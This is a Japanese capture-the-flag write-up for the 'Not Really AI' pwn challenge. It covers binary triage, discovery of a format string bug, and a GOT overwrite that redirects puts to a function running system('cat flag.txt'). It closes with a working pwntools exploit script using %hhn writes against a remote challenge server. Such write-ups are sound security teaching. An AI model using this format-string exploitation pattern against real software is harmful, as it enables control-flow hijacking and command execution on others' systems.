# ractf writeups ## Reversing/Pwn ### Not Really AI **表層解析** バイナリの種類及びアーキテクチャを確認するためにfileコマンドで確認します ![](https://i.imgur.com/AvfaRei.png) * ELF file (dynamically linked ,not stripped) * 32bit LSB 必要な情報はこれだけです。 dynamically linkedの場合は、libc.so.6ライブラリを使うため、リークが必要になる可能性が高いです。 not strippedなバイナリでは、プログラマが作成した関数名が残るので、調査が非常に楽になります。 したがって、GhidraやIDAは使わなくても静的解析ができます。 >(私はnot strippedを見てghidraを使うか等は決めてます) 32bit LSBは何気に重要で32bitと64bitで関数の引数の渡し方が全く違うので確認しています。 ではプログラマが作成した関数名を見てみましょう! ![](https://i.imgur.com/t6vFU3a.png) > \_startまでがライブラリの関数です。frame_dummyまでがコンパイル時に作成されるものです。 > プログラマが作成した関数は、response,flaggy,mainの三つですね! 明らかにresponse,flaggyが怪しいです。 また、重要な点がまだあり、0x80491c2などアドレスがありますが0x8049XXXなどのアドレスに配置されている場合には、**not PIE**(PIE=位置独立性バイナリになるsecurity)なファイルです。この場合にはバイナリ中あるrop gadgetがすべて使用可能です。 > (なぜnot PIEと判断できるかなのですが、PIEである場合には、どこにバイナリが配置されるかは、実行時に決まるものであり、固定の仮想アドレスは必要ないからです。したがって、必要な情報は、配置されたアドレスからのoffsetのみになりため、0x2000程度までに抑えられます。今回は0x8049000なので仮想アドレスを指定していますのでnot PIE) まだまだここから得られる情報はあります。 sspのcanaryがある場合には、**\__stack_check_fail@plt**がありますが今回はありません。 > (やったね!BOFができます!) まだあります..printfがありますが、**\__printf_chk**であるprintfの%nが使えないversionがありません これは、**FSB**(format string bug)がある可能性が高いです。 --- では次のコマンドに移りましょう! \$readelf -S nra #これは、ELFファイルのセクション情報を得ることができます。 ![](https://i.imgur.com/oMxcRZF.png) .got.pltがある場合には、GOT overwriteできる可能性が高いです!(これは信用しないで!!!!次の調査時に確認します!) ここでほとんどのsecurity機構が判明しました。 * not PIE * partial overwrite got * not stack smash protector * not fortify(maybe) **静的解析** バグを起こせるとしたら入力が発生する場所なのでその点をobjdumpで確認します。 main関数をobjdumpで確認してもscanf,read,fgets,getsなどがありません。 responseを見てみましょう! fgetsがありました!この周辺をc言語風に直しましょう! ```cpp= char buf[0x208]; fgets(buf, 0x200 ,stdin); ``` はい、オバーフローはしなさそうですね。 次行きましょう ```cpp= printf(buf); ``` あっ....引数一つしか積んでない... FSBがあることが判明した。 **動的解析** 今回はあまり必要がないですが一応しておきます。 使用したツール * gdb-peda ![](https://i.imgur.com/bWGiB10.png) gdb-peda\$vmmap を入力するとプロセスマップが手に入ります。 見るのは、Permです。0x8049c000がrwxpとなっています。 したがって、GOT overwriteができることを意味しています。 (readelf -l nraでみた.got.plt領域です) また、GOT領域にx属性がついていることからNX bitのセキュリティ機構もないことが分かります。 答え合わせ!!!!!!! gdb-pedaはセキュリティ機構を調べるコマンドがあります! ![](https://i.imgur.com/T08j3Tj.png) good **バグの再現** ![](https://i.imgur.com/N9ruK6C.png) はい! FSBを使ってGOT overwriteできることが決まりました。 次のステップは、上書き先です制御をどこに移すのかが重要になってきます。 今回は、system@pltがあるのでおそらく、win関数的なものがあると踏んでflaggyを解析すると ```cpp= void flaggy(void){ system("cat flag.txt"); } ``` です。ここに制御を移せば終わりみたいですね。(ここはずるしてます。stringsコマンドで見るとcat flag.txtが見えるのでsystemの引数と予想が入ってます) **攻撃** GOT overwriteを行うにあたって、GOTにある関数がプログラム終了までに呼ばれる必要があります。 今回は、"We hope you keep going!"と出力している関数がput関数であることからputs@gotを狙う必要が出てきます。 方針をまとめます。 * FSBを使いputs@gotにflaggyのアドレスにする ここまでは決まりましたが、FSBはポインタを使って書き込みを行う必要があるため、bufの位置を知らなければなりません。 ![](https://i.imgur.com/qnEQI0V.png) printf内でのbuf位置は、offset (void*)\*4みたいですね。 > これは、私事なのですが32bitならAAAA,64bitならAAAAAAAAを入力したあとに%p,%p..を入力し、0x4141..が出てきたところを見ています flaggy = 0x8049245(134517317)なので```puts@got%134517313x%4$n```になりますね。 これで、一応終了ですが、%nを使うと4byteで書き込みを行うため時間がかかりますので$hn```half byte n```か\$hhn```half half byte n```を使って書き込みします。 最終的に ```python= from pwn import * #target addr flaggy = 0x8049245 puts_got = 0x804c018 #buffer offset is 4 payload =p32(puts_got) #this is pointer to puts@got! payload+=p32(puts_got+1) payload+=p32(puts_got+2) payload+=p32(puts_got+3) payload+=b"%53c%4$hhn" payload+=b"%77c%5$hhn" payload+=b"%114c%6$hhn" payload+=b"%4c%7$hhn" port = 0# variable p = remote("95.216.233.106",port) print(p.recvuntil("?")) p.sendline(payload) p.interactive() ```